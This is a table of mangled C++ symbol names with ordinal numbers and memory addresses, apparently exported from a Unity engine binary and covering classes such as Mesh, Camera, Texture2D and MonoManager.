?EvaluateClamp@?$AnimationCurveTpl@VQuaternionf@@@@QBE?AVQuaternionf@@M@Z	889	0x5aad50
?EvaluateClamp@?$AnimationCurveTpl@VVector3f@@@@QBE?AVVector3f@@M@Z	890	0x5aa820
?EvaluateWithoutCache@?$AnimationCurveTpl@M@@ABEXMAAM@Z	891	0x5ab140
?EvaluateWithoutCache@?$AnimationCurveTpl@VQuaternionf@@@@ABEXMAAVQuaternionf@@@Z	892	0x5ab7a0
?EvaluateWithoutCache@?$AnimationCurveTpl@VVector3f@@@@ABEXMAAVVector3f@@@Z	893	0x5ab2a0
?Exec@JobQueue@@AAEHPAUJobInfo@@HH@Z	894	0x653770
?ExecuteJobFromHighPriorityStack@JobQueue@@AAE_NXZ	895	0x653840
?ExecuteJobFromQueue@JobQueue@@AAE_NXZ	896	0x652dd0
?ExecuteJobFunc@JobQueue@@AAEXPAUJobInfo@@@Z	897	0x652cd0
?ExecuteOneJob@JobQueue@@QAE_NXZ	898	0x653b30
?Exit@PlatformThread@@IAEXPBVThread@@PAX@Z	899	0x54d620
?ExternalEarlySetRunningFalse@Thread@@QAEXXZ	900	0x4010f0
?ExtractCameraRenderingParams@Camera@@QBE?AUCameraRenderingParams@@XZ	901	0x455b30
?ExtractColorArray@Mesh@@QBEXPAVColorRGBA32@@@Z	902	0x4c2330
?ExtractColorArray@Mesh@@QBEXPAVColorRGBAf@@@Z	903	0x4c3d50
?ExtractCompressedImageInternal@Texture2D@@ABEXPAEHHH@Z	904	0x560480
?ExtractImage@RenderTexture@@UBE_NPAVImageReference@@H@Z	905	0x6568a0
?ExtractImage@SparseTexture@@UBE_NPAVImageReference@@H@Z	906	0x6568a0
?ExtractImage@Texture2D@@UBE_NPAVImageReference@@H@Z	907	0x561480
?ExtractImageInternal@Texture2D@@ABE_NPAVImageReference@@_NH@Z	908	0x5612f0
?ExtractMipLevel@Texture2D@@AAEXPAVSharedTextureData@@HH_N1@Z	909	0x560930
?ExtractNormalArray@Mesh@@QBEXPAVVector3f@@@Z	910	0x4bf8c0
?ExtractProjectionNearPlane@@YAXABVMatrix4x4f@@PAVPlane@@@Z	911	0x45e630
?ExtractProjectionPlanes@@YAXABVMatrix4x4f@@PAVPlane@@@Z	912	0x45df50
?ExtractTangentArray@Mesh@@QBEXPAVVector4f@@@Z	913	0x4bf980
?ExtractTriangle@Mesh@@QBE_NIPAI@Z	914	0x4cc710
?ExtractUvArray@Mesh@@QBEXHPAMH@Z	915	0x4bf920
?ExtractVertexArray@Mesh@@QBEXPAVVector3f@@@Z	916	0x4bf860
?Find@MaterialPropertyBlock@@QBEPBXABUFastPropertyName@ShaderLab@@EEI@Z	917	0x64a9a0
?Find@Transform@@QAEPAV?$ImmediatePtr@VTransform@@@@PBV1@@Z	918	0x5672d0
?FindAllDerivedClasses@Object@@SAXHPAV?$vector@HV?$allocator@H@std@@@std@@_N@Z	919	0x409c10
?FindAllDerivedObjects@Object@@SAHHPAV?$vector@HV?$allocator@H@std@@@std@@_N@Z	920	0x40bad0
?FindConflictingComponentPtr@GameObject@Unity@@QBEPAVComponent@2@H@Z	921	0x40fd20
?FindFloat@MaterialPropertyBlock@@QBEPBMABUFastPropertyName@ShaderLab@@@Z	922	0x64a9f0
?FindIndex@?$AnimationCurveTpl@M@@QBEHABUCache@1@M@Z	923	0x5aca90
?FindIndex@?$AnimationCurveTpl@M@@QBEHM@Z	924	0x5ac9a0
?FindIndex@?$AnimationCurveTpl@VQuaternionf@@@@QBEHABUCache@1@M@Z	925	0x5ad080
?FindIndex@?$AnimationCurveTpl@VQuaternionf@@@@QBEHM@Z	926	0x5acfb0
?FindIndex@?$AnimationCurveTpl@VVector3f@@@@QBEHABUCache@1@M@Z	927	0x5acd70
?FindIndex@?$AnimationCurveTpl@VVector3f@@@@QBEHM@Z	928	0x5acca0
?FindIndexForSampling@?$AnimationCurveTpl@M@@ABEXABUCache@1@MAAH1@Z	929	0x5a8d80
?FindIndexForSampling@?$AnimationCurveTpl@VQuaternionf@@@@ABEXABUCache@1@MAAH1@Z	930	0x5a86f0
?FindIndexForSampling@?$AnimationCurveTpl@VVector3f@@@@ABEXABUCache@1@MAAH1@Z	931	0x5a85a0
?FindMatrix@MaterialPropertyBlock@@QBEPBVMatrix4x4f@@ABUFastPropertyName@ShaderLab@@@Z	932	0x64aa90
?FindObjectsOfType@Object@@SAHHPAU?$dynamic_array@PAVObject@@$03@@_N@Z	933	0x40b170
?FindObjectsOfType@Object@@SAHHPAV?$vector@PAVObject@@V?$allocator@PAVObject@@@std@@@std@@_N@Z	934	0x40bb00
?FindPreviousSibling@Transform@@QAEPAV1@XZ	935	0x567310
?FindShader@ScriptMapper@@QAEPAVShader@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	936	0x64de80
?FindTexture@MaterialPropertyBlock@@QBE?BUTextureID@@ABUFastPropertyName@ShaderLab@@@Z	937	0x64ab70
?FindTextureByID@Texture@@SAPAV1@UTextureID@@@Z	938	0x40daf0
?FindVector@MaterialPropertyBlock@@QBEPBVVector4f@@ABUFastPropertyName@ShaderLab@@@Z	939	0x64aa40
?FixedUpdate@Behaviour@@UAEXXZ	940	0x554fb0
?FloatToString@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@MPBD@Z	941	0x6687b0
?Format@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@PBDZZ	942	0x668a90
?Get@GlobalCallbacks@@SAAAU1@XZ	943	0x49c0e0
?Get@Matrix3x3f@@QAEAAMHH@Z	944	0x40e190
?Get@Matrix3x3f@@QBEABMHH@Z	945	0x40e190
?Get@Matrix4x4f@@QAEAAMHH@Z	946	0x405c70
?Get@Matrix4x4f@@QBEABMHH@Z	947	0x405c70
?Get@ModuleManager@@SAAAV1@XZ	948	0x49c7e0
?Get@Rand@@QAEIXZ	949	0x49cdc0
?GetActive@RenderTexture@@SAPAV1@XZ	950	0x515950
?GetActiveBlobPtr@BlobWrite@@AAEPAEXZ	951	0x5c9d20
?GetActiveOffset@BlobWrite@@ABEIXZ	952	0x5c9ca0
?GetActiveOldTypeTreeIterator@SafeBinaryRead@@QBEABVTypeTreeIterator@@XZ	953	0x406830
?GetActiveTextureColorSpace@Texture@@QBE?AW4TextureColorSpace@@XZ	954	0x40d310
?GetActualRenderQueue@Material@Unity@@QBEHXZ	955	0x646220
?GetActualRootBone@SkinnedMeshRenderer@@QAEAAVTransform@@XZ	956	0x4b86e0
?GetActualRootBoneFromAnyThread@SkinnedMeshRenderer@@QAEAAVTransform@@XZ	957	0x4b8670
?GetAllMonoScriptCaches@ScriptingManager@@QAEXAAU?$dynamic_array@PAUMonoScriptCache@@$03@@@Z	958	0x5506f0
?GetAllocatedBytes@MemoryPool@@QAEHXZ	959	0x407530
?GetAmbientEquatorColor@RenderSettings@@QBEABVColorRGBAf@@XZ	960	0x801c50
?GetAmbientGroundColor@RenderSettings@@QBEABVColorRGBAf@@XZ	961	0x43fd00
?GetAmbientIntensity@RenderSettings@@QBEMXZ	962	0x43fd10
?GetAmbientMode@RenderSettings@@QBE?AW4AmbientMode@1@XZ	963	0x43fd50
?GetAmbientProbe@RenderSettings@@QBEABUSphericalHarmonicsL2@@XZ	964	0x4892a0
?GetAmbientSkyColor@RenderSettings@@QBEABVColorRGBAf@@XZ	965	0x43fcf0
?GetAndAssignInstantiatedMaterial@Renderer@@QAEPAVMaterial@Unity@@H_N@Z	966	0x513d60
?GetAnimator@SkinnedMeshRenderer@@IAEPAVComponent@Unity@@XZ	967	0x4b8da0
?GetAnisoLevel@Texture@@QBEHXZ	968	0x407970
?GetAnisoLimit@Texture@@SAHXZ	969	0x55f4f0
?GetAntiAliasing@RenderTexture@@QBEHXZ	970	0x565c70
?GetAnyJobGroupID@JobQueue@@QBE?AUJobGroupID@@XZ	971	0x61b790
?GetAspect@Camera@@QBEMXZ	972	0x417c00
?GetAssembly@MonoManager@@QAEPAUMonoAssembly@@H@Z	973	0x545cf0
?GetAssemblyCount@MonoManager@@QBEHXZ	974	0x407940
?GetAssemblyIdentifierFromImage@MonoManager@@QAE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@PAUMonoImage@@@Z	975	0x546ae0
?GetAssemblyIndexFromAssemblyName@MonoManager@@QAEHABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@Z	976	0x546550
?GetAssemblyIndexFromImage@MonoManager@@QAEHPAUMonoImage@@@Z	977	0x545d30
?GetAssemblyName@MonoManager@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@H@Z	978	0x5466d0
?GetAssemblyPath@MonoManager@@QAE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@H@Z	979	0x546a70
?GetAvailableChannels@Mesh@@QBEIXZ	980	0x4460f0
?GetAvailableDllAssemblyMask@MonoManager@@QAE?AVdynamic_bitset@@XZ	981	0x5471b0
?GetAxis@Matrix4x4f@@QBE?AVVector3f@@H@Z	982	0x405e20
?GetAxisX@Matrix4x4f@@QBE?AVVector3f@@XZ	983	0x405dc0
?GetAxisY@Matrix4x4f@@QBE?AVVector3f@@XZ	984	0x405de0
?GetAxisZ@Matrix4x4f@@QBE?AVVector3f@@XZ	985	0x405e00
?GetBackgroundColor@Camera@@QBE?AVColorRGBAf@@XZ	986	0x417c80
?GetBehaviourManager@@YAAAVBaseBehaviourManager@@XZ	987	0x5231f0
?GetBindpose@Mesh@@QAEAAU?$dynamic_array@VMatrix4x4f@@$03@@XZ	988	0x445930
?GetBindpose@Mesh@@QBEABU?$dynamic_array@VMatrix4x4f@@$03@@XZ	989	0x445930
?GetBindposeCount@Mesh@@QBEHXZ	990	0x445f60
?GetBindposeCount@SkinnedMeshRenderer@@QBEHXZ	991	0x4b70c0
?GetBindposes@Mesh@@QBEPBVMatrix4x4f@@XZ	992	0x446510
?GetBlendShapeChannelCount@Mesh@@QBEIXZ	993	0x446010
?GetBlendShapeData@Mesh@@QBEABUBlendShapeData@@XZ	994	0xadbc70
?GetBlendShapeWeight@SkinnedMeshRenderer@@QBEMI@Z	995	0x4b7480
?GetBoneCount@SkinnedMeshRenderer@@QBEHXZ	996	0x4b6760
?GetBonePathHashes@Mesh@@QAEAAU?$dynamic_array@I$03@@XZ	997	0x445940
?GetBonePathHashes@Mesh@@QBEABU?$dynamic_array@I$03@@XZ	998	0x445940
?GetBoneWeights@Mesh@@QAEPAUBoneInfluence@@XZ	999	0x4464f0
?GetBoneWeights@Mesh@@QBEPBUBoneInfluence@@XZ	1000	0x4464f0
?GetBones@SkinnedMeshRenderer@@QBEABU?$dynamic_array@V?$PPtr@VTransform@@@@$03@@XZ	1001	0x4b6700
?GetBonesPerVertexCount@SkinnedMeshRenderer@@QAEHXZ	1002	0x4b7250
?GetBooleanAt@ScriptingArguments@@QAE_NH@Z	1003	0x607820
?GetBottom@?$RectT@H@@QBEHXZ	1004	0x982920
?GetBottom@?$RectT@M@@QBEMXZ	1005	0x43cbc0
?GetBounds@Mesh@@QBEABVAABB@@I@Z	1006	0x445e20
?GetBounds@Mesh@@QBEABVAABB@@XZ	1007	0x445970
?GetBufferBegin@MaterialPropertyBlock@@QAEPAMXZ	1008	0xdb6d10
?GetBufferBegin@MaterialPropertyBlock@@QBEPBMXZ	1009	0xdb6d10
?GetBufferEnd@MaterialPropertyBlock@@QAEPAMXZ	1010	0x4181b0
?GetBufferEnd@MaterialPropertyBlock@@QBEPBMXZ	1011	0x4181b0
?GetBuildSettings@@YAAAVBuildSettings@@XZ	1012	0x5baa80
?GetBuildingTarget@TransferBase@@QAE?AUBuildTargetSelection@@XZ	1013	0x4067a0
?GetBuildingTargetPlatform@BlobWrite@@QAE?AW4BuildTargetPlatform@@XZ	1014	0xdb6d10
?GetBuiltinMonoClass@MonoManager@@QAEPAUMonoClass@@PBD0_N@Z	1015	0x546380
?GetBuiltinMonoClass@MonoManager@@QAEPAUMonoClass@@PBD_N@Z	1016	0x5465a0
?GetBuiltinRenderTexture@Camera@@QAEPAVRenderTexture@@W4BuiltinRenderTextureType@@@Z	1017	0x4534d0
?GetByteFromInt@Rand@@SAEI@Z	1018	0x49ce20
?GetCachedBonesBounds@Mesh@@QAEABU?$dynamic_array@VMinMaxAABB@@$03@@XZ	1019	0x4c6230
?GetCachedScriptingObject@Object@@QAEPAUMonoObject@@XZ	1020	0x96f5f0
?GetCachedSortingLayer@Renderer@@QBEHXZ	1021	0x4178f0
?GetCachedWorldAABB@IntermediateRenderer@@QBEABVAABB@@XZ	1022	0x4530d0
?GetCameraRect@Camera@@ABE?AV?$RectT@M@@_N@Z	1023	0x457ac0
?GetCameraToWorldMatrix@Camera@@QBE?AVMatrix4x4f@@XZ	1024	0x455570
?GetCenterPos@?$RectT@M@@QBE?AVVector2f@@XZ	1025	0x55b270
?GetChangedFlag@Transform@@QAE_NXZ	1026	0x40e3b0
?GetChannelPointer@Mesh@@QAEPAXW4ShaderChannel@@@Z	1027	0x445eb0
?GetChannelPointer@Mesh@@QAEPAXW4ShaderChannel@@I@Z	1028	0x445ee0
?GetChannelPointer@Mesh@@QBEPBXW4ShaderChannel@@@Z	1029	0x445eb0
?GetChannelType@Mesh@@QBE?AUChannelFormatDimension@@W4ShaderChannel@@@Z	1030	0x445e90
?GetChild@Transform@@QBEAAV1@H@Z	1031	0x40e810
?GetChildrenCount@Transform@@QBEHXZ	1032	0x40e800
?GetChildrenInternal@Transform@@QAEAAU?$dynamic_array@V?$ImmediatePtr@VTransform@@@@$03@@XZ	1033	0x40e410
?GetChildrenInternal@Transform@@QBEABU?$dynamic_array@V?$ImmediatePtr@VTransform@@@@$03@@XZ	1034	0x40e410
?GetClassID@Object@@QBE?AW4ClassIDType@@XZ	1035	0x405a70
?GetClassIDStatic@Behaviour@@SAHXZ	1036	0x40c960
?GetClassIDStatic@Camera@@SAHXZ	1037	0x453de0
?GetClassIDStatic@Component@Unity@@SAHXZ	1038	0xb99d50
?GetClassIDStatic@EditorExtension@@SAHXZ	1039	0x406860
?GetClassIDStatic@GameManager@@SAHXZ	1040	0x406890
?GetClassIDStatic@GameObject@Unity@@SAHXZ	1041	0x6a2f50
?GetClassIDStatic@GlobalGameManager@@SAHXZ	1042	0x4068e0
?GetClassIDStatic@LevelGameManager@@SAHXZ	1043	0x6a2f40
?GetClassIDStatic@Material@Unity@@SAHXZ	1044	0x643fc0
?GetClassIDStatic@Mesh@@SAHXZ	1045	0x4457b0
?GetClassIDStatic@MeshFilter@@SAHXZ	1046	0x4d2360
?GetClassIDStatic@MonoManager@@SAHXZ	1047	0x545c10
?GetClassIDStatic@NamedObject@@SAHXZ	1048	0x4172c0
?GetClassIDStatic@Object@@SAHXZ	1049	0xf35de0
?GetClassIDStatic@RenderSettings@@SAHXZ	1050	0x43fc50
?GetClassIDStatic@RenderTexture@@SAHXZ	1051	0xd7a190
?GetClassIDStatic@Renderer@@SAHXZ	1052	0x512930
?GetClassIDStatic@ScriptMapper@@SAHXZ	1053	0x64daf0
?GetClassIDStatic@SkinnedMeshRenderer@@SAHXZ	1054	0x4b6e60
?GetClassIDStatic@SparseTexture@@SAHXZ	1055	0x565b10
?GetClassIDStatic@Texture2D@@SAHXZ	1056	0x40d450
?GetClassIDStatic@Texture@@SAHXZ	1057	0x40d2d0
?GetClassIDStatic@Transform@@SAHXZ	1058	0xa36630
?GetClassIDVirtualInternal@Behaviour@@UBEHXZ	1059	0x40c960
?GetClassIDVirtualInternal@Camera@@UBEHXZ	1060	0x453de0
?GetClassIDVirtualInternal@Component@Unity@@UBEHXZ	1061	0xb99d50
?GetClassIDVirtualInternal@EditorExtension@@UBEHXZ	1062	0x406860
?GetClassIDVirtualInternal@GameManager@@UBEHXZ	1063	0x406890
?GetClassIDVirtualInternal@GameObject@Unity@@UBEHXZ	1064	0x6a2f50
?GetClassIDVirtualInternal@GlobalGameManager@@UBEHXZ	1065	0x4068e0
?GetClassIDVirtualInternal@LevelGameManager@@UBEHXZ	1066	0x6a2f40
?GetClassIDVirtualInternal@Material@Unity@@UBEHXZ	1067	0x643fc0
?GetClassIDVirtualInternal@Mesh@@UBEHXZ	1068	0x4457b0
?GetClassIDVirtualInternal@MeshFilter@@UBEHXZ	1069	0x4d2360
?GetClassIDVirtualInternal@MonoManager@@UBEHXZ	1070	0x545c10
?GetClassIDVirtualInternal@NamedObject@@UBEHXZ	1071	0x4172c0
?GetClassIDVirtualInternal@Object@@UBEHXZ	1072	0xf35de0
?GetClassIDVirtualInternal@RenderSettings@@UBEHXZ	1073	0x43fc50
?GetClassIDVirtualInternal@RenderTexture@@UBEHXZ	1074	0xd7a190
?GetClassIDVirtualInternal@Renderer@@UBEHXZ	1075	0x512930
?GetClassIDVirtualInternal@ScriptMapper@@UBEHXZ	1076	0x64daf0
?GetClassIDVirtualInternal@SkinnedMeshRenderer@@UBEHXZ	1077	0x4b6e60
?GetClassIDVirtualInternal@SparseTexture@@UBEHXZ	1078	0x565b10
?GetClassIDVirtualInternal@Texture2D@@UBEHXZ	1079	0x40d450
?GetClassIDVirtualInternal@Texture@@UBEHXZ	1080	0x40d2d0
?GetClassIDVirtualInternal@Transform@@UBEHXZ	1081	0xa36630
?GetClassNameA@Object@@QBEABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@XZ	1082	0x4094e0
?GetClassStringStatic@Behaviour@@SAPBDXZ	1083	0x40c970
?GetClassStringStatic@Camera@@SAPBDXZ	1084	0x417ae0
?GetClassStringStatic@Component@Unity@@SAPBDXZ	1085	0x406a60
?GetClassStringStatic@EditorExtension@@SAPBDXZ	1086	0x406870
?GetClassStringStatic@GameManager@@SAPBDXZ	1087	0x4068a0
?GetClassStringStatic@GameObject@Unity@@SAPBDXZ	1088	0x4069c0
?GetClassStringStatic@GlobalGameManager@@SAPBDXZ	1089	0x406900
?GetClassStringStatic@LevelGameManager@@SAPBDXZ	1090	0x4068c0
?GetClassStringStatic@Material@Unity@@SAPBDXZ	1091	0x417f50
?GetClassStringStatic@Mesh@@SAPBDXZ	1092	0x445810
?GetClassStringStatic@MeshFilter@@SAPBDXZ	1093	0x4d2370
?GetClassStringStatic@MonoManager@@SAPBDXZ	1094	0x406910
?GetClassStringStatic@NamedObject@@SAPBDXZ	1095	0x40d1d0
?GetClassStringStatic@Object@@SAPBDXZ	1096	0x405b70
?GetClassStringStatic@RenderSettings@@SAPBDXZ	1097	0x43fce0
?GetClassStringStatic@RenderTexture@@SAPBDXZ	1098	0x418490
?GetClassStringStatic@Renderer@@SAPBDXZ	1099	0x417810
?GetClassStringStatic@ScriptMapper@@SAPBDXZ	1100	0x445a20
?GetClassStringStatic@SkinnedMeshRenderer@@SAPBDXZ	1101	0x4b6690
?GetClassStringStatic@SparseTexture@@SAPBDXZ	1102	0x565b20
?GetClassStringStatic@Texture2D@@SAPBDXZ	1103	0x40d460
?GetClassStringStatic@Texture@@SAPBDXZ	1104	0x40d2e0
?GetClassStringStatic@Transform@@SAPBDXZ	1105	0x40e350
?GetClearFlags@Camera@@QBE?AW4ClearMode@1@XZ	1106	0x417cb0
?GetClearStencilAfterLightingPass@Camera@@QBE_NXZ	1107	0x417e90
?GetClipToWorldMatrix@Camera@@QBEXAAVMatrix4x4f@@@Z	1108	0x455680
?GetColor@Material@Unity@@QAE?AVColorRGBAf@@UFastPropertyName@ShaderLab@@@Z	1109	0x646cc0
?GetColor@MaterialPropertyBlock@@QBE_NABUFastPropertyName@ShaderLab@@AAVColorRGBAf@@@Z	1110	0x64aae0
?GetColorBegin@Mesh@@QBE?AV?$StrideIterator@VColorRGBA32@@@@XZ	1111	0x4468d0
?GetColorEnd@Mesh@@QBE?AV?$StrideIterator@VColorRGBA32@@@@XZ	1112	0x446910
?GetColorFormat@RenderTexture@@QBE?AW4RenderTextureFormat@@XZ	1113	0x417a00
?GetColorSurfaceHandle@RenderTexture@@QAE?AU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@XZ	1114	0x417a10
?GetColumn@Matrix3x3f@@QBE?AVVector3f@@H@Z	1115	0x40e1c0
?GetColumn@Matrix4x4f@@QBE?AVVector4f@@H@Z	1116	0x405ea0
?GetCommandBufferCount@Camera@@QBEHXZ	1117	0x417b40
?GetCommandBuffers@Camera@@QAEABU?$dynamic_array@PAVRenderingCommandBuffer@@$03@@W4RenderCameraEventType@@@Z	1118	0x417b30
?GetCommonClasses@ScriptingManager@@QAEABUCommonScriptingClasses@@XZ	1119	0x801c50
?GetComponentAtIndex@GameObject@Unity@@QBEAAVComponent@2@H@Z	1120	0x40ea90
?GetComponentClassIDAtIndex@GameObject@Unity@@QBEHH@Z	1121	0x407a60
?GetComponentContainerInternal@GameObject@Unity@@QAEAAU?$dynamic_array@U?$pair@HV?$ImmediatePtr@VComponent@Unity@@@@@std@@$03@@XZ	1122	0x43fcf0
?GetComponentCount@GameObject@Unity@@QBEHXZ	1123	0x407970
?GetComponentIndex@GameObject@Unity@@QAEHPAVComponent@2@@Z	1124	0x40eab0
?GetComponentPtrAtIndex@GameObject@Unity@@QBEPAVComponent@2@H@Z	1125	0x40ea90
?GetCount@ScriptingArguments@@QAEHXZ	1126	0x4bb810
?GetCreatedFromScript@RenderTexture@@QBE_NXZ	1127	0x4179e0
?GetCullingMask@Camera@@QBEIXZ	1128	0x417cc0
?GetCurrentTargetTexture@Camera@@QBEPAVRenderTexture@@XZ	1129	0x417e50
?GetCurrentThreadID@PlatformThread@@KAKXZ	1130	0x654ed0
?GetCurrentThreadID@Thread@@SAKXZ	1131	0x6541a0
?GetCustomProperties@BaseRenderer@@QBEPBVMaterialPropertyBlock@@XZ	1132	0x575d70
?GetCustomPropertiesHash@BaseRenderer@@QBEIXZ	1133	0x4176b0
?GetCustomReflection@RenderSettings@@QBEPAVCubemap@@XZ	1134	0x48ad40
?GetCustomRenderQueue@Material@Unity@@QBEHXZ	1135	0x417fb0
?GetDataHeight@RenderTexture@@UBEHXZ	1136	0x560850
?GetDataHeight@SparseTexture@@UBEHXZ	1137	0x560850
?GetDataHeight@Texture2D@@UBEHXZ	1138	0x565c70
?GetDataWidth@RenderTexture@@UBEHXZ	1139	0x40d4c0
?GetDataWidth@SparseTexture@@UBEHXZ	1140	0x40d4c0
?GetDataWidth@Texture2D@@UBEHXZ	1141	0x560850
?GetDefault@Material@Unity@@SAPAV12@XZ	1142	0x647b90
?GetDefaultDiffuseMaterial@Material@Unity@@SAPAV12@XZ	1143	0x647bc0
?GetDefaultReflectionMode@RenderSettings@@QBE?AW4DefaultReflectionMode@1@XZ	1144	0xcb3d90
?GetDefaultReflectionResolution@RenderSettings@@QBEHXZ	1145	0x43fd60
?GetDefaultSpotCookie@RenderSettings@@QBEPAVTexture2D@@XZ	1146	0x48aa60
?GetDepth@Camera@@QBEMXZ	1147	0x43fdc0
?GetDepthFormat@RenderTexture@@QBE?AW4DepthBufferFormat@@XZ	1148	0x875ea0
?GetDepthSurfaceHandle@RenderTexture@@QAE?AU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@XZ	1149	0x417a50
?GetDepthTextureMode@Camera@@QBEIXZ	1150	0x417e70
?GetDeterminant@Matrix3x3f@@QBEMXZ	1151	0x59ccc0
?GetDeterminant@Matrix4x4f@@QBENXZ	1152	0x59e5a0
?GetDimension@RenderTexture@@UBE?AW4TextureDimension@@XZ	1153	0x417970
?GetDimension@SparseTexture@@UBE?AW4TextureDimension@@XZ	1154	0xb99d50
?GetDimension@Texture2D@@UBE?AW4TextureDimension@@XZ	1155	0x40d4c0
?GetDisableImmediateDestruction@@YA_NXZ	1156	0x406d60
?GetDistanceSortPriority@BaseRenderer@@UBEGXZ	1157	0xf35de0
?GetDistanceSortPriority@MeshIntermediateRendererWithDistanceSortingOrder@@UBEGXZ	1158	0x453130
?GetEnableRandomWrite@RenderTexture@@QBE_NXZ	1159	0x4179c0
?GetEnabled@Behaviour@@QBE_NXZ	1160	0x40c9f0
?GetEnabled@Renderer@@QBE_NXZ	1161	0x417840
?GetEngineImage@MonoManager@@QAEPAUMonoImage@@XZ	1162	0x407930
?GetEntryInOther@UserList@@AAEAAUEntry@UserListBase@@H@Z	1163	0x5cc370
?GetEventMask@Camera@@QBEIXZ	1164	0x417cd0
?GetFFAmbientDeviceColor@RenderSettings@@QBE?AVColorRGBAf@@XZ	1165	0x488d70
?GetFar@Camera@@QBEMXZ	1166	0x417b90
?GetFilterMode@Texture@@QBEHXZ	1167	0xb12740
?GetFinalAmbientProbe@RenderSettings@@QBEABUSphericalHarmonicsL2@@XZ	1168	0x43fd40
?GetFixedBehaviourManager@@YAAAVBaseBehaviourManager@@XZ	1169	0x523200
?GetFlags@TransferBase@@QBE?AW4TransferInstructionFlags@@XZ	1170	0x445740
?GetFlareFadeSpeed@RenderSettings@@QBEMXZ	1171	0x43fdf0
?GetFlareStrength@RenderSettings@@QBEMXZ	1172	0x43fde0
?GetFlatAmbientColor@RenderSettings@@QBE?AVColorRGBAf@@XZ	1173	0x488cf0
?GetFloat@Material@Unity@@QAEMUFastPropertyName@ShaderLab@@@Z	1174	0x646e20
?GetFloat@Rand@@QAEMXZ	1175	0x49ce30
?GetFloatAt@ScriptingArguments@@QAEMH@Z	1176	0x607860
?GetFloatFromInt@Rand@@SAMI@Z	1177	0x49cdf0
?GetFloatUvBegin@Mesh@@QBE?AV?$StrideIterator@M@@H@Z	1178	0x4469f0
?GetFloatUvEnd@Mesh@@QBE?AV?$StrideIterator@M@@H@Z	1179	0x446a40
?GetFogColor@RenderSettings@@QBEABVColorRGBAf@@XZ	1180	0x43fd80
?GetFogDensity@RenderSettings@@QBEMXZ	1181	0xcb3d20
?GetFogMode@RenderSettings@@QBE?AW4FogMode@@XZ	1182	0x43fda0
?GetFov@Camera@@QBEMXZ	1183	0x417b70
?GetGCHandle@Object@@QBEHXZ	1184	0xdb6d10
?GetGLHeight@Texture2D@@UBEHXZ	1185	0x875ea0
?GetGLHeight@Texture@@UBEHXZ	1186	0x40d340
?GetGLWidth@Texture2D@@UBEHXZ	1187	0x417a00
?GetGLWidth@Texture@@UBEHXZ	1188	0x40d330
?GetGameObject@Component@Unity@@QAEAAVGameObject@2@XZ	1189	0xc68860
?GetGameObject@Component@Unity@@QBEABVGameObject@2@XZ	1190	0xc68860
?GetGameObject@GameObject@Unity@@QAEAAV12@XZ	1191	0x5e3e90
?GetGameObject@GameObject@Unity@@QBEABV12@XZ	1192	0x5e3e90
?GetGameObjectInstanceID@Component@Unity@@QBEHXZ	1193	0x4079b0
?GetGameObjectPtr@Component@Unity@@QAEPAVGameObject@2@XZ	1194	0xc68860
?GetGameObjectPtr@Component@Unity@@QBEPAVGameObject@2@XZ	1195	0xc68860
?GetGenerateIDFunctor@RemapPPtrTransfer@@QBEPAVGenerateIDFunctor@@XZ	1196	0xba8df0
?GetGenerateMips@RenderTexture@@QBE_NXZ	1197	0x417990
?GetGeneratedSkyboxReflection@RenderSettings@@QBEPAVCubemap@@XZ	1198	0x48ac60
?GetGfxDevice@@YAAAVGfxDevice@@XZ	1199	0x538750
?GetGlobalIlluminationFlags@Material@Unity@@QBE?AW4MaterialGlobalIlluminationFlags@@XZ	1200	0x575d90
?GetGlobalLayeringData@BaseRenderer@@QBE?AUGlobalLayeringData@@XZ	1201	0x4176e0
?GetGraphicsAPIMask@MobileBuildSubTarget@@QBEIXZ	1202	0x4059e0
?GetHaloStrength@RenderSettings@@QBEMXZ	1203	0x43fdd0
?GetHash@MaterialPropertyBlock@@QBEIXZ	1204	0x407970
?GetHeight@RenderTexture@@QBEHXZ	1205	0x560850
?GetHideFlags@Object@@QBEHXZ	1206	0x405a80
?GetIAnimation@@YAPAVIAnimation@@XZ	1207	0x59ad50
?GetIAnimationStateNetworkProvider@@YAPAVIAnimationStateNetworkProvider@@XZ	1208	0x59ad30
?GetIApplication@@YAPAVIApplication@@XZ	1209	0x59ad70
?GetIAudio@@YAPAVIAudio@@XZ	1210	0x59b470
?GetIClusterRenderer@@YAPAVIClusterRenderer@@XZ	1211	0x59b4b0
?GetIDToPointerMapInternal@Object@@SAAAUInstanceIdToObjectPtrHashMap@@XZ	1212	0x405b60
?GetIEnlighten@@YAPAVIEnlighten@@XZ	1213	0x59ad90
?GetINetwork@@YAPAVINetwork@@XZ	1214	0x59b4e0
?GetIPhysics@@YAPAVIPhysics@@XZ	1215	0x59add0
?GetITerrainManager@@YAPAVITerrainManager@@XZ	1216	0x59b430
?GetITerrainPhysics@@YAPAVITerrainPhysics@@XZ	1217	0x59b450
?GetIUmbra@@YAPAVIUmbra@@XZ	1218	0x59b490
?GetIVRDevice@@YAPAVIVRDevice@@XZ	1219	0x59b520
?GetImageCount@Texture2D@@QBEHXZ	1220	0x40d500
?GetImageData@Texture2D@@QBEPBEH@Z	1221	0x40d610
?GetImageReferenceInternal@Texture2D@@ABE_NPAVImageReference@@HH@Z	1222	0x560540
?GetImplicitProjectionMatrix@Camera@@QBEXMAAVMatrix4x4f@@@Z	1223	0x453a20
?GetImplicitProjectionMatrix@Camera@@QBEXMMAAVMatrix4x4f@@@Z	1224	0x453af0
?GetIndexBuffer@Mesh@@QAEAAV?$vector@EV?$stl_allocator@E$07$0BA@@@@std@@XZ	1225	0x445920
?GetIndexBuffer@Mesh@@QBEABV?$vector@EV?$stl_allocator@E$07$0BA@@@@std@@XZ	1226	0x445920
